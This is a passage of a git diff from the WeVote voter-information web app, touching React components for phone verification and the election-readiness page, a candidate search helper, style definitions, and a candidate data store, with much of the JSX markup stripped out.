+ { smsPhoneNumberStatus.sms_phone_number_created && !smsPhoneNumberStatus.verification_sms_sent && !secretCodeSystemLocked ? Your phone number was saved. : null }
+ { smsPhoneNumberStatus.sms_phone_number_deleted ? Your phone number was deleted. : null }
+ { smsPhoneNumberStatus.sms_ownership_is_verified ? Your phone number was verified. : null }
+ { smsPhoneNumberStatus.make_primary_sms ? Your have chosen a new primary phone number. : null }
+ { smsPhoneNumberStatus.sign_in_code_sms_sent && !smsPhoneNumberStatus.sms_phone_number_created ? Please check your phone. A sign in verification code was sent. : null }
+
+ ) : null}
+
+ );
+
+ const enterSMSPhoneNumberHtml = hideSignInWithPhoneForm ? null : (
+
+
+ {!(displayPhoneVerificationButton || lockOpenPhoneVerificationButton) && (
+
+ )}
+
+
+
+ {voterSMSPhoneNumberFromList.normalized_sms_phone_number}
+
+
+
+ {isPrimarySMSPhoneNumber ? (
+
+
+ Primary
+
+
+ You must add a new primary number before removing this one.
+
+ )}
+ >
+
+
+
+
+
+
+
+ ) : (
+
+ this.setAsPrimarySMSPhoneNumber(voterSMSPhoneNumberFromList.sms_we_vote_id)}
+ >
+ Make Primary
+
+ {allowRemoveSMSPhoneNumber && (
+ this.removeVoterSMSPhoneNumber(voterSMSPhoneNumberFromList.sms_we_vote_id)}
+ >
+
+ )}
+
+ )}
+
+
+
+
+ {voterSMSPhoneNumberFromList.normalized_sms_phone_number.trim()}
+
+ {voterSMSPhoneNumberFromList.sms_ownership_is_verified ?
+ null : (
+
+
+ this.reSendSignInCodeSMS(voterSMSPhoneNumberFromList.normalized_sms_phone_number)}
+ >
+ Send verification again
+
+ {allowRemoveSMSPhoneNumber && (
+ this.removeVoterSMSPhoneNumber(voterSMSPhoneNumberFromList.sms_we_vote_id)}
+ >
+
+ )}
+
+
+ )}
+
+
+ {(hideEverythingButSignInWithPhoneForm || hideExistingPhoneNumbers) ? (
+
+ {smsPhoneNumberStatusHtml}
+
+ ) : (
+
+ {verifiedSMSFound ? (
+
+
+ Your Phone Number
+ {smsPhoneNumberListCount > 1 ? 's' : ''}
+
+ {smsPhoneNumberStatusHtml}
+ {verifiedSMSListHtml}
+
+ ) : (
+
+ {smsPhoneNumberStatusHtml}
+
+ )}
+ {unverifiedSMSFound && (
+
+ Phone Numbers to Verify
+ {toVerifySMSListHtml}
+
+ )}
+
+ )}
+ {!hideSignInWithPhoneForm && (
+
+ {enterSMSPhoneNumberHtml}
+
+ )}
+ {showVerifyModal && (
+
+ );
+ }
+}
+VoterPhoneVerificationEntry.propTypes = {
+ classes: PropTypes.object,
+ closeSignInModal: PropTypes.func,
+ closeVerifyModal: PropTypes.func,
+ doNotRender: PropTypes.bool,
+ hideEverythingButSignInWithPhoneForm: PropTypes.bool,
+ hideSignInWithPhoneForm: PropTypes.bool,
+ lockOpenPhoneVerificationButton: PropTypes.bool,
+ showAllSignInOptions: PropTypes.func,
+ showPhoneOnlySignIn: PropTypes.func,
+ showEmailOnlySignIn: PropTypes.func,
+};
+
+const styles = {
+ paperRoot: {
+ border: '1px solid #ccc',
+ boxShadow: 'none',
+ display: 'flex',
+ justifyContent: 'space-between',
+ alignItems: 'center',
+ width: '100%',
+ paddingLeft: 8,
+ marginBottom: 8,
+ },
+ input: {
+ marginLeft: 0.1,
+ flex: 1,
+ },
+ button: {
+ width: '100%',
+ },
+ cancelButton: {
+ width: '100%',
+ },
+};
+
+const ButtonsHiddenSpacer = styled('div')`
+ height: 44px;
+`;
+
+const ButtonWrapper = styled('div')`
+ width: 100%;
+ margin: 4px 0 0 0;
+ display: flex;
+ align-items: center;
+ justify-content: flex-end;
+`;
+
+const CancelButtonContainer = styled('div')`
+ width: fit-content;
+`;
+
+// const Error = styled('div')`
+// color: rgb(255, 73, 34);
+// font-size: 14px;
+// `;
+
+const PhoneNumberSection = styled('div', {
+ shouldForwardProp: (prop) => !['isWeb'].includes(prop),
+})(({ isWeb }) => (`
+ margin-top: ${isWeb ? '18px;' : '0'};
+`));
+
+const VoterPhoneVerificationWrapper = styled('div', {
+ shouldForwardProp: (prop) => !['isWeb'].includes(prop),
+})(({ isWeb }) => (`
+ margin-top: ${isWeb ? '32px;' : '0'};
+`));
+
+export default withStyles(styles)(VoterPhoneVerificationEntry);
diff --git a/src/js/pages/ElectionFinder/buildCandidateSearchResults.js b/src/js/pages/ElectionFinder/buildCandidateSearchResults.js
index 5ad7f02075..5b3b9ebb73 100644
--- a/src/js/pages/ElectionFinder/buildCandidateSearchResults.js
+++ b/src/js/pages/ElectionFinder/buildCandidateSearchResults.js
@@ -1,82 +1,82 @@
-// Pure helper for Election Finder search. Given the already state-scoped election
-// list, the cached candidate list (from CandidateStore.getCandidateList()), the
-// current search text, and the selected state code, returns the unioned, deduped
-// set of "result elections". Each result is the original election object augmented
-// with a `matchedOffices` array describing which offices/candidates matched.
-//
-// An election is included when its name/date matches the query (existing behavior)
-// OR when it contains a candidate whose name matches. Results are deduped by
-// google_civic_election_id, and candidates whose election is not present in
-// scopedElectionList are dropped (we have no election row to attach them to).
-//
-// matchedOffices shape: [{ officeWeVoteId, officeName, candidates: [candidate, ...] }]
-// Elections that matched only by name carry an empty matchedOffices array.
-
-import { convertStateCodeToStateText } from '../../common/utils/addressFunctions';
-
-function getCandidateName (candidate) {
- return candidate.ballot_item_display_name || candidate.candidate_name || '';
-}
-
-function getElectionSearchText (election) {
- const parts = [
- election.election_name,
- election.election_day_text,
- ];
-
- if (election.state_code && election.state_code !== 'NA') {
- parts.push(convertStateCodeToStateText(election.state_code));
- parts.push(election.state_code); // optional: match "AL" as well as "Alabama"
- }
-
- return parts.filter(Boolean).join(' ').toLowerCase();
-}
-
-export default function buildCandidateSearchResults (scopedElectionList, candidateList, searchText, selectedStateCode) {
- const lowerSearch = (searchText || '').toLowerCase().trim();
- if (!lowerSearch) return scopedElectionList;
-
- const electionById = {};
- scopedElectionList.forEach((election) => {
- electionById[parseInt(election.google_civic_election_id, 10)] = election;
- });
-
- // Elections matched by name or date
- const matchedElectionIds = new Set();
- scopedElectionList.forEach((election) => {
- const nameHit = getElectionSearchText(election).includes(lowerSearch);
- if (nameHit) matchedElectionIds.add(parseInt(election.google_civic_election_id, 10));
- });
-
- // Candidate matches grouped by election -> office
- const stateFilter = (selectedStateCode || '').toUpperCase();
- const officesByElectionId = {};
- (candidateList || []).forEach((candidate) => {
- if (!getCandidateName(candidate).toLowerCase().includes(lowerSearch)) return;
- if (stateFilter && candidate.state_code && candidate.state_code.toUpperCase() !== stateFilter) return;
- const electionId = parseInt(candidate.google_civic_election_id, 10);
- if (!electionId || !(electionId in electionById)) return;
-
- if (!(electionId in officesByElectionId)) officesByElectionId[electionId] = {};
- const officeKey = candidate.contest_office_we_vote_id || candidate.contest_office_name || 'unknown';
- if (!(officeKey in officesByElectionId[electionId])) {
- officesByElectionId[electionId][officeKey] = {
- officeWeVoteId: candidate.contest_office_we_vote_id || '',
- officeName: candidate.contest_office_name || '',
- candidates: [],
- };
- }
- officesByElectionId[electionId][officeKey].candidates.push(candidate);
- matchedElectionIds.add(electionId);
- });
-
- // Build augmented results, preserving the scopedElectionList ordering
- const results = [];
- scopedElectionList.forEach((election) => {
- const electionId = parseInt(election.google_civic_election_id, 10);
- if (!matchedElectionIds.has(electionId)) return;
- const officeMap = officesByElectionId[electionId] || {};
- results.push({ ...election, matchedOffices: Object.values(officeMap) });
- });
- return results;
-}
+// Pure helper for Election Finder search. Given the already state-scoped election
+// list, the cached candidate list (from CandidateStore.getCandidateList()), the
+// current search text, and the selected state code, returns the unioned, deduped
+// set of "result elections". Each result is the original election object augmented
+// with a `matchedOffices` array describing which offices/candidates matched.
+//
+// An election is included when its name/date matches the query (existing behavior)
+// OR when it contains a candidate whose name matches. Results are deduped by
+// google_civic_election_id, and candidates whose election is not present in
+// scopedElectionList are dropped (we have no election row to attach them to).
+//
+// matchedOffices shape: [{ officeWeVoteId, officeName, candidates: [candidate, ...] }]
+// Elections that matched only by name carry an empty matchedOffices array.
+
+import { convertStateCodeToStateText } from '../../common/utils/addressFunctions';
+
+function getCandidateName (candidate) {
+ return candidate.ballot_item_display_name || candidate.candidate_name || '';
+}
+
+function getElectionSearchText (election) {
+ const parts = [
+ election.election_name,
+ election.election_day_text,
+ ];
+
+ if (election.state_code && election.state_code !== 'NA') {
+ parts.push(convertStateCodeToStateText(election.state_code));
+ parts.push(election.state_code); // optional: match "AL" as well as "Alabama"
+ }
+
+ return parts.filter(Boolean).join(' ').toLowerCase();
+}
+
+export default function buildCandidateSearchResults (scopedElectionList, candidateList, searchText, selectedStateCode) {
+ const lowerSearch = (searchText || '').toLowerCase().trim();
+ if (!lowerSearch) return scopedElectionList;
+
+ const electionById = {};
+ scopedElectionList.forEach((election) => {
+ electionById[parseInt(election.google_civic_election_id, 10)] = election;
+ });
+
+ // Elections matched by name or date
+ const matchedElectionIds = new Set();
+ scopedElectionList.forEach((election) => {
+ const nameHit = getElectionSearchText(election).includes(lowerSearch);
+ if (nameHit) matchedElectionIds.add(parseInt(election.google_civic_election_id, 10));
+ });
+
+ // Candidate matches grouped by election -> office
+ const stateFilter = (selectedStateCode || '').toUpperCase();
+ const officesByElectionId = {};
+ (candidateList || []).forEach((candidate) => {
+ if (!getCandidateName(candidate).toLowerCase().includes(lowerSearch)) return;
+ if (stateFilter && candidate.state_code && candidate.state_code.toUpperCase() !== stateFilter) return;
+ const electionId = parseInt(candidate.google_civic_election_id, 10);
+ if (!electionId || !(electionId in electionById)) return;
+
+ if (!(electionId in officesByElectionId)) officesByElectionId[electionId] = {};
+ const officeKey = candidate.contest_office_we_vote_id || candidate.contest_office_name || 'unknown';
+ if (!(officeKey in officesByElectionId[electionId])) {
+ officesByElectionId[electionId][officeKey] = {
+ officeWeVoteId: candidate.contest_office_we_vote_id || '',
+ officeName: candidate.contest_office_name || '',
+ candidates: [],
+ };
+ }
+ officesByElectionId[electionId][officeKey].candidates.push(candidate);
+ matchedElectionIds.add(electionId);
+ });
+
+ // Build augmented results, preserving the scopedElectionList ordering
+ const results = [];
+ scopedElectionList.forEach((election) => {
+ const electionId = parseInt(election.google_civic_election_id, 10);
+ if (!matchedElectionIds.has(electionId)) return;
+ const officeMap = officesByElectionId[electionId] || {};
+ results.push({ ...election, matchedOffices: Object.values(officeMap) });
+ });
+ return results;
+}
diff --git a/src/js/pages/ElectionFinder/electionFinderStyles.js b/src/js/pages/ElectionFinder/electionFinderStyles.js
index 68ede80961..e0edb241d9 100644
--- a/src/js/pages/ElectionFinder/electionFinderStyles.js
+++ b/src/js/pages/ElectionFinder/electionFinderStyles.js
@@ -1,436 +1,436 @@
-import { TextField, Tooltip, tooltipClasses } from '@mui/material';
-import React from 'react';
-import { Link } from 'react-router-dom';
-import styled from 'styled-components';
-import DesignTokenColors from '../../common/components/Style/DesignTokenColors';
-import { ElectionStateLabel } from '../../components/Style/BallotTitleHeaderStyles';
-import muiTheme from '../../common/components/Style/muiTheme';
-
-const theme = muiTheme;
-
-export const ActionChip = styled('button')`
- display: inline-flex;
- align-items: center;
- font-size: 14px;
- color: #555;
- background: none;
- border: none;
- border-radius: 4px;
- padding: 4px 8px;
- cursor: pointer;
- white-space: nowrap;
- &:hover {
- background: #e8e8e8;
- }
-`;
-
-export const ActionDivider = styled('span')`
- width: 1px;
- height: 18px;
- background: #ccc;
- margin: 0 4px;
-`;
-
-export const Breadcrumb = styled('div')`
- font-size: 14px;
- color: #555;
- margin-top: -14px;
- margin-bottom: 8px;
-`;
-
-export const BreadcrumbAnchor = styled(Link)`
- color: #206bc4;
- cursor: pointer;
- text-decoration: none;
- &:hover {
- text-decoration: underline;
- }
-`;
-
-export const CandidateActions = styled('div')`
- display: flex;
- align-items: center;
- gap: 4px;
- visibility: hidden;
-`;
-
-export const CandidateCount = styled('span')`
- font-weight: 200;
- color: ${DesignTokenColors.neutralUI700};
-`;
-
-export const CandidateInfo = styled('div')`
- display: flex;
- flex-direction: column;
-`;
-
-export const CandidateList = styled('div')`
- display: flex;
- flex-direction: column;
-`;
-
-export const CandidateName = styled('span')`
- font-size: 15px;
- color: #206bc4;
- cursor: pointer;
- &:hover {
- text-decoration: underline;
- }
-`;
-
-export const CandidateParty = styled('span')`
- font-size: 13px;
- color: #666;
-`;
-
-export const CandidateRow = styled('div')`
- display: flex;
- align-items: center;
- justify-content: space-between;
- padding: 5px 16px 5px 32px;
- &:not(:last-child) {
- border-bottom: 1.5px solid #ccc;
- }
- &:hover {
- background: #f5f5f5;
- box-shadow: 0 1px 6px rgba(0, 0, 0, 0.12);
- }
- &:hover ${CandidateActions} {
- visibility: visible;
- }
-`;
-
-// disableFocusListener + disableInteractive: tooltip closes the moment the
-// mouse leaves the trigger — doesn't stick around on focus or popper hover.
-// eslint-disable-next-line react/jsx-props-no-spreading, react/react-in-jsx-scope
-export const DarkTooltip = styled(({ className, ...props }) => (
-
-
-
- Ready to Vote? - WeVote
-
-
-
-
- }>
-
-
-
-
- }>
-
-
-
-
- {(chosenReadyIntroductionTitle || chosenReadyIntroductionText) && (
-
-
-
- {chosenReadyIntroductionTitle}
-
-
- }>
-
-
-
-
- )}
- {isAndroid() && (
-
- }>
-
-
-
-
- )}
-
- }>
-
-
-
-
-
- }>
-
-
-
-
-
- }>
-
-
- {!isAndroid() && (
-
- }>
-
-
-
-
- )}
-
-
- {voterIsSignedIn && (
-
}>
-
- )}
- {(nextReleaseFeaturesEnabled && !futureFeaturesDisabled) && (
-
- )}
- {nextReleaseFeaturesEnabled && (
-
- )}
-
-
- {(chosenReadyIntroductionTitle || chosenReadyIntroductionText) && (
-
-
-
- {chosenReadyIntroductionTitle}
-
-
- {chosenReadyIntroductionText}
-
-
-
- )}
-
-
-
-
- {/* nextReleaseFeaturesEnabled &&
*/}
-
-
-
- );
- }
-}
-ReadyLight.propTypes = {
- // match: PropTypes.object,
- showReadyHeavy: PropTypes.func,
-};
-
-const styles = (theme) => ({
- ballotIconRoot: {
- width: 150,
- height: 150,
- color: 'rgb(171, 177, 191)',
- },
- ballotButtonIconRoot: {
- marginRight: 8,
- },
- ballotButtonRoot: {
- width: 250,
- [theme.breakpoints.down('md')]: {
- width: '100%',
- },
- },
-});
-
-export default withTheme(withStyles(styles)(ReadyLight));
+import withStyles from '@mui/styles/withStyles';
+import withTheme from '@mui/styles/withTheme';
+import PropTypes from 'prop-types';
+import React, { Component, Suspense } from 'react';
+import TagManager from 'react-gtm-module';
+import { Helmet } from 'react-helmet-async';
+import ActivityActions from '../actions/ActivityActions';
+import AnalyticsActions from '../actions/AnalyticsActions';
+import ReadyActions from '../actions/ReadyActions';
+import AppObservableStore, { messageService } from '../common/stores/AppObservableStore';
+import apiCalming from '../common/utils/apiCalming';
+import historyPush from '../common/utils/historyPush';
+import { isAndroid, isWebApp } from '../common/utils/isCordovaOrWebApp';
+import { renderLog } from '../common/utils/logging';
+import ReadyFinePrint from '../components/Ready/ReadyFinePrint';
+import ReadyIntroduction from '../components/Ready/ReadyIntroduction';
+import ReadyTaskPlan from '../components/Ready/ReadyTaskPlan';
+import ReadyTaskRegister from '../components/Ready/ReadyTaskRegister';
+import { ReadyCard } from '../components/Ready/ReadyTaskStyles';
+import { PageContentContainer } from '../components/Style/pageLayoutStyles';
+import { ElectionCountdownInnerWrapper, ElectionCountdownOuterWrapper, IntroAndFindTabletSpacer, IntroAndFindTabletWrapper, PrepareForElectionOuterWrapper, ReadyIntroductionDesktopWrapper, ReadyIntroductionMobileWrapper, ReadyPageContainer, ReadyParagraph, ReadyTitle, ViewBallotButtonWrapper } from '../components/Style/ReadyPageCommonStyles';
+import BrowserPushMessage from '../components/Widgets/BrowserPushMessage';
+import webAppConfig from '../config';
+import VoterStore from '../stores/VoterStore';
+import { cordovaSimplePageContainerTopOffset } from '../utils/cordovaCalculatedOffsets';
+import lazyPreloadPages from '../utils/lazyPreloadPages';
+import { getPageDetails } from '../utils/lookupPageNameAndPageTypeDict';
+
+const DelayedLoad = React.lazy(() => import(/* webpackChunkName: 'DelayedLoad' */ '../common/components/Widgets/DelayedLoad'));
+const ElectionCountdown = React.lazy(() => import(/* webpackChunkName: 'ElectionCountdown' */ '../components/Ready/ElectionCountdown'));
+const FirstAndLastNameRequiredAlert = React.lazy(() => import(/* webpackChunkName: 'FirstAndLastNameRequiredAlert' */ '../components/Widgets/FirstAndLastNameRequiredAlert'));
+const ReadMore = React.lazy(() => import(/* webpackChunkName: 'ReadMore' */ '../common/components/Widgets/ReadMore'));
+const ReadyPageValuesList = React.lazy(() => import(/* webpackChunkName: 'ReadyPageValuesList' */ '../components/Values/ReadyPageValuesList'));
+const ViewUpcomingBallotButton = React.lazy(() => import(/* webpackChunkName: 'ViewUpcomingBallotButton' */ '../components/Ready/ViewUpcomingBallotButton'));
+
+const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
+const futureFeaturesDisabled = true;
+
+class ReadyLight extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ chosenReadyIntroductionText: '',
+ chosenReadyIntroductionTitle: '',
+ dataLayerFired: false,
+ voterIsSignedIn: false,
+ };
+ }
+
+ componentDidMount () {
+ this.appStateSubscription = messageService.getMessage().subscribe((msg) => this.onAppObservableStoreChange(msg));
+ this.onAppObservableStoreChange();
+ AppObservableStore.setEvaluateHeaderDisplay();
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+
+ this.preloadTimer = setTimeout(() => {
+ if (apiCalming('activityNoticeListRetrieve', 10000)) {
+ ActivityActions.activityNoticeListRetrieve();
+ }
+ lazyPreloadPages();
+ }, 5000);
+
+ this.voterPlansTimer = setTimeout(() => {
+ ReadyActions.voterPlansForVoterRetrieve();
+ }, 6000);
+
+ this.analyticsTimer = setTimeout(() => {
+ AnalyticsActions.saveActionReadyVisit(VoterStore.electionId());
+ }, 8000);
+ this.fireGTMDataLayerWhenReady();
+ window.scrollTo(0, 0);
+ }
+
+ componentDidUpdate () {
+ this.fireGTMDataLayerWhenReady();
+ }
+
+
+ componentDidCatch (error, info) {
+ console.log('ReadyLight.jsx caught: ', error, info.componentStack);
+ }
+
+ componentWillUnmount () {
+ this.appStateSubscription.unsubscribe();
+ this.voterStoreListener.remove();
+ clearTimeout(this.analyticsTimer);
+ clearTimeout(this.preloadTimer);
+ clearTimeout(this.voterPlansTimer);
+
+ const { showReadyHeavy } = this.props;
+ showReadyHeavy();
+ }
+
+ static getDerivedStateFromError (error) { // eslint-disable-line no-unused-vars
+ console.log('Error in ReadyLight: ', error);
+ return { hasError: true };
+ }
+
+ onAppObservableStoreChange () {
+ this.setState({
+ chosenReadyIntroductionText: AppObservableStore.getChosenReadyIntroductionText(),
+ chosenReadyIntroductionTitle: AppObservableStore.getChosenReadyIntroductionTitle(),
+ });
+ }
+
+ onVoterStoreChange () {
+ // console.log('Ready, onVoterStoreChange voter: ', VoterStore.getVoter());
+ this.setState({
+ voterIsSignedIn: VoterStore.getVoterIsSignedIn(), // Just to trigger update
+ });
+ }
+
+ goToBallot = () => {
+ historyPush('/ballot');
+ };
+
+ getTopPadding = () => {
+ if (isWebApp()) {
+ return { paddingTop: '0 !important' };
+ }
+ cordovaSimplePageContainerTopOffset(VoterStore.getVoterIsSignedIn());
+ return {};
+ };
+
+ fireGTMDataLayerWhenReady () {
+ const { dataLayerFired } = this.state;
+ if (!dataLayerFired) {
+ if (VoterStore.voterFirstRetrieveCompleted()) {
+ const dataLayerObject = {
+ actionDetails: {
+ actionType: 'landing',
+ },
+ event: 'landing',
+ pageDetails: getPageDetails(),
+ userDetails: VoterStore.getAnalyticsUserDetails(),
+ };
+
+ TagManager.dataLayer({ dataLayer: dataLayerObject });
+
+ this.setState({
+ dataLayerFired: true,
+ });
+ }
+ }
+ }
+
+ render () {
+ renderLog('ReadyLight'); // Set LOG_RENDER_EVENTS to log all renders
+ const {
+ chosenReadyIntroductionText, chosenReadyIntroductionTitle, voterIsSignedIn,
+ } = this.state;
+
+ return (
+
+
+
+ Ready to Vote? - WeVote
+
+
+
+
+ }>
+
+
+
+
+ }>
+
+
+
+
+ {(chosenReadyIntroductionTitle || chosenReadyIntroductionText) && (
+
+
+
+ {chosenReadyIntroductionTitle}
+
+
+ }>
+
+
+
+
+ )}
+ {isAndroid() && (
+
+ }>
+
+
+
+
+ )}
+
+ }>
+
+
+
+
+
+ }>
+
+
+
+
+
+ }>
+
+
+ {!isAndroid() && (
+
+ }>
+
+
+
+
+ )}
+
+
+ {voterIsSignedIn && (
+
}>
+
+ )}
+ {(nextReleaseFeaturesEnabled && !futureFeaturesDisabled) && (
+
+ )}
+ {nextReleaseFeaturesEnabled && (
+
+ )}
+
+
+ {(chosenReadyIntroductionTitle || chosenReadyIntroductionText) && (
+
+
+
+ {chosenReadyIntroductionTitle}
+
+
+ {chosenReadyIntroductionText}
+
+
+
+ )}
+
+
+
+
+ {/* nextReleaseFeaturesEnabled &&
*/}
+
+
+
+ );
+ }
+}
+ReadyLight.propTypes = {
+ // match: PropTypes.object,
+ showReadyHeavy: PropTypes.func,
+};
+
+const styles = (theme) => ({
+ ballotIconRoot: {
+ width: 150,
+ height: 150,
+ color: 'rgb(171, 177, 191)',
+ },
+ ballotButtonIconRoot: {
+ marginRight: 8,
+ },
+ ballotButtonRoot: {
+ width: 250,
+ [theme.breakpoints.down('md')]: {
+ width: '100%',
+ },
+ },
+});
+
+export default withTheme(withStyles(styles)(ReadyLight));
diff --git a/src/js/stores/CandidateStore.js b/src/js/stores/CandidateStore.js
index 5ca8647a4e..c330cd91b6 100644
--- a/src/js/stores/CandidateStore.js
+++ b/src/js/stores/CandidateStore.js
@@ -1,958 +1,958 @@
-import { ReduceStore } from 'flux/utils';
-import OfficeActions from '../actions/OfficeActions';
-import Dispatcher from '../common/dispatcher/Dispatcher';
-
-import { mostLikelyOfficeDictFromList } from '../utils/candidateFunctions';
-import normalizedImagePath from '../common/utils/normalizedImagePath'; // eslint-disable-line import/no-cycle
-import stringContains from '../common/utils/stringContains';
-import { extractNumberOfPositionsFromPositionList } from '../utils/positionFunctions'; // eslint-disable-line import/no-cycle
-import OfficeStore from './OfficeStore';
-
-class CandidateStore extends ReduceStore {
- getInitialState () {
- const explanationCandidates = {
- candidateAlexanderHamilton: {
- we_vote_id: 'candidateAlexanderHamilton',
- ballot_item_display_name: 'Alexander Hamilton',
- candidate_photo_url_large: normalizedImagePath('../../../img/global/photos/Alexander_Hamilton-48x48.png'),
- contest_office_name: 'President',
- party: 'Nonpartisan',
- },
- candidateForLoading1: {
- we_vote_id: 'candidateForLoading1',
- ballot_guide_official_statement: 'Candidate data is loading now...',
- ballot_item_display_name: 'Loading...',
- candidate_photo_url_large: '',
- contest_office_name: '',
- linked_campaignx_we_vote_id: 'campaignForLoading1',
- party: '',
- },
- candidateForLoading2: {
- we_vote_id: 'candidateForLoading2',
- ballot_item_display_name: 'Loading...',
- ballot_guide_official_statement: 'Candidate data is loading now...',
- candidate_photo_url_large: '',
- contest_office_name: '',
- linked_campaignx_we_vote_id: 'campaignForLoading1',
- party: '',
- },
- candidateForLoading3: {
- we_vote_id: 'candidateForLoading3',
- ballot_item_display_name: 'Loading...',
- ballot_guide_official_statement: 'Candidate data is loading now...',
- candidate_photo_url_large: '',
- contest_office_name: '',
- linked_campaignx_we_vote_id: 'campaignForLoading1',
- party: '',
- },
- };
- const explanationPositions = {
- candidateAlexanderHamilton: [
- {
- position_we_vote_id: 'positionOneAlexanderHamilton',
- ballot_item_display_name: 'Alexander Hamilton',
- ballot_item_we_vote_id: 'candidateAlexanderHamilton',
- kind_of_ballot_item: 'CANDIDATE',
- is_support: true,
- is_support_or_positive_rating: true,
- speaker_display_name: 'Sierra Club',
- speaker_type: 'G',
- speaker_we_vote_id: 'organizationSierraClub',
- speaker_image_url_https_large: 'https://wevote-images.s3.amazonaws.com/wv02org1061/twitter_profile_image-20180818_1_200x200.jpeg',
- contest_office_name: 'President',
- party: 'Nonpartisan',
- },
- {
- position_we_vote_id: 'positionTwoAlexanderHamilton',
- ballot_item_display_name: 'Alexander Hamilton',
- ballot_item_we_vote_id: 'candidateAlexanderHamilton',
- kind_of_ballot_item: 'CANDIDATE',
- is_support: true,
- is_support_or_positive_rating: true,
- speaker_display_name: 'Oprah',
- speaker_type: 'PF',
- speaker_we_vote_id: 'organizationOprah',
- speaker_image_url_https_large: 'https://wevote-images.s3.amazonaws.com/wv02org1061/twitter_profile_image-20180818_1_200x200.jpeg',
- contest_office_name: 'President',
- party: 'Nonpartisan',
- },
- {
- position_we_vote_id: 'positionThreeAlexanderHamilton',
- ballot_item_display_name: 'Alexander Hamilton',
- ballot_item_we_vote_id: 'candidateAlexanderHamilton',
- kind_of_ballot_item: 'CANDIDATE',
- is_support: true,
- is_support_or_positive_rating: true,
- speaker_display_name: 'League of Women Voters',
- speaker_type: 'G',
- speaker_we_vote_id: 'organizationLeagueOfWomenVoters',
- speaker_image_url_https_large: 'https://wevote-images.s3.amazonaws.com/wv02org1061/twitter_profile_image-20180818_1_200x200.jpeg',
- contest_office_name: 'President',
- party: 'Nonpartisan',
- },
- ],
- };
-
- return {
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId: {}, // key == campaignXWeVoteId, value = candidateWeVoteId
- allCachedCandidates: explanationCandidates, // Dictionary with candidate_we_vote_id as key and the candidate as value
- allCachedPositionsAboutCandidates: explanationPositions, // Dictionary with candidate_we_vote_id as one key, organization_we_vote_id as the second key, and the position as value
- // allCachedPositionsAboutPoliticians: {}, // Dictionary with politician_we_vote_id as key, and the position as value
- candidateListsByOfficeWeVoteId: {}, // Dictionary with office_we_vote_id as key and list of candidates in the office as value
- candidateListsByPoliticianWeVoteId: {}, // Dictionary with politician_we_vote_id as key and list of candidates linked to the politician as value
- candidateWeVoteIdInFutureByPoliticianWeVoteId: {}, // Dictionary with politician_we_vote_id as key and the candidate_we_vote_id as value
- numberOfCandidatesRetrievedByOffice: {}, // Dictionary with office_we_vote_id as key and number of candidates as value
- positionListRetrieveCompleteByBallotItem: {}, // Dictionary with candidate_we_vote_id as key and list of positions as value
- };
- }
-
-
- positionListRetrieveHasCompletedForCandidate (candidateWeVoteId) {
- return this.getState().positionListRetrieveCompleteByBallotItem[candidateWeVoteId] || false;
- }
-
- getAllCachedPositionsDictByCandidateWeVoteId (candidateWeVoteId) {
- return this.getState().allCachedPositionsAboutCandidates[candidateWeVoteId] || {};
- }
-
- getAllCachedPositionsByCandidateWeVoteId (candidateWeVoteId) {
- const allCachedPositionsForThisCandidateDict = this.getState().allCachedPositionsAboutCandidates[candidateWeVoteId] || {};
- return Object.values(allCachedPositionsForThisCandidateDict);
- }
-
- // This function/data is in CandidateStore instead of PoliticianStore, since we are using
- // the substantial support for positions related to Candidates, instead of building Politician-specific
- // support.
- getAllCachedPositionsByPoliticianWeVoteId (politicianWeVoteId) {
- const candidateList = this.getState().candidateListsByPoliticianWeVoteId[politicianWeVoteId] || [];
- // console.log('getAllCachedPositionsByPoliticianWeVoteId candidateList', candidateList);
- let allCachedPositionsList = [];
- let allCachedPositionsListForThisCandidate;
- let allCachedPositionsForThisCandidateDict;
- let candidateWeVoteId;
- candidateList.forEach((item) => {
- candidateWeVoteId = item.we_vote_id;
- allCachedPositionsForThisCandidateDict = this.getState().allCachedPositionsAboutCandidates[candidateWeVoteId] || {};
- // console.log('111) allCachedPositionsForThisCandidateDict', allCachedPositionsForThisCandidateDict);
- allCachedPositionsListForThisCandidate = Object.values(allCachedPositionsForThisCandidateDict);
- // console.log('222) allCachedPositionsListForThisCandidate', allCachedPositionsListForThisCandidate);
- allCachedPositionsList = allCachedPositionsList.concat(allCachedPositionsListForThisCandidate);
- });
- // // And add cached positions from politician_we_vote_id
- // const allCachedPositionsListForPolitician = this.getState().allCachedPositionsAboutPoliticians[politicianWeVoteId] || {};
- // console.log('CandidateStore.getAllCachedPositionsByPoliticianWeVoteId allCachedPositionsListForPolitician', allCachedPositionsListForPolitician);
- // if (allCachedPositionsListForPolitician) {
- // allCachedPositionsList = allCachedPositionsList.concat(Object.values(allCachedPositionsListForPolitician));
- // }
- // console.log('getAllCachedPositionsByPoliticianWeVoteId ', politicianWeVoteId, ', candidateList:', candidateList, ', allCachedPositionsList:', allCachedPositionsList);
- return allCachedPositionsList;
- }
-
- getAnalyticsCandidateDetails (candidateWeVoteId) {
- const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
- return {
- candidateWeVoteId,
- candidateName: candidate ? this.getCandidateName(candidateWeVoteId) : '',
- image: candidate ? candidate.candidate_photo_url_medium : '',
- officeName: candidate ? candidate.contest_office_name : '',
- politicianWeVoteId: candidate ? candidate.politician_we_vote_id : '',
- politicalParty: candidate ? candidate.party : '',
- stateCode: candidate?.state_code ? candidate.state_code.toUpperCase() : '',
- twitterHandle: candidate ? candidate.candidate_twitter_handle : '',
- };
- }
-
- getCandidateByLinkedCampaignXWeVoteId (campaignXWeVoteId) {
- const candidateWeVoteId = this.getState().allCachedCandidateWeVoteIdsByCampaignXWeVoteId[campaignXWeVoteId] || '';
- const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
- // console.log('CandidateStore getCandidateByLinkedCampaignXWeVoteId campaignXWeVoteId:', campaignXWeVoteId, ', candidate:', candidate);
- if (candidate === undefined) {
- return {};
- }
- return candidate;
- }
-
- getCandidateByWeVoteId (candidateWeVoteId) {
- if (this.getState().allCachedCandidates && candidateWeVoteId in this.getState().allCachedCandidates) {
- return this.getState().allCachedCandidates[candidateWeVoteId] || {};
- } else {
- return {};
- }
- }
-
- getCandidateList () {
- const candidateList = Object.values(this.getState().allCachedCandidates);
- return candidateList || [];
- }
-
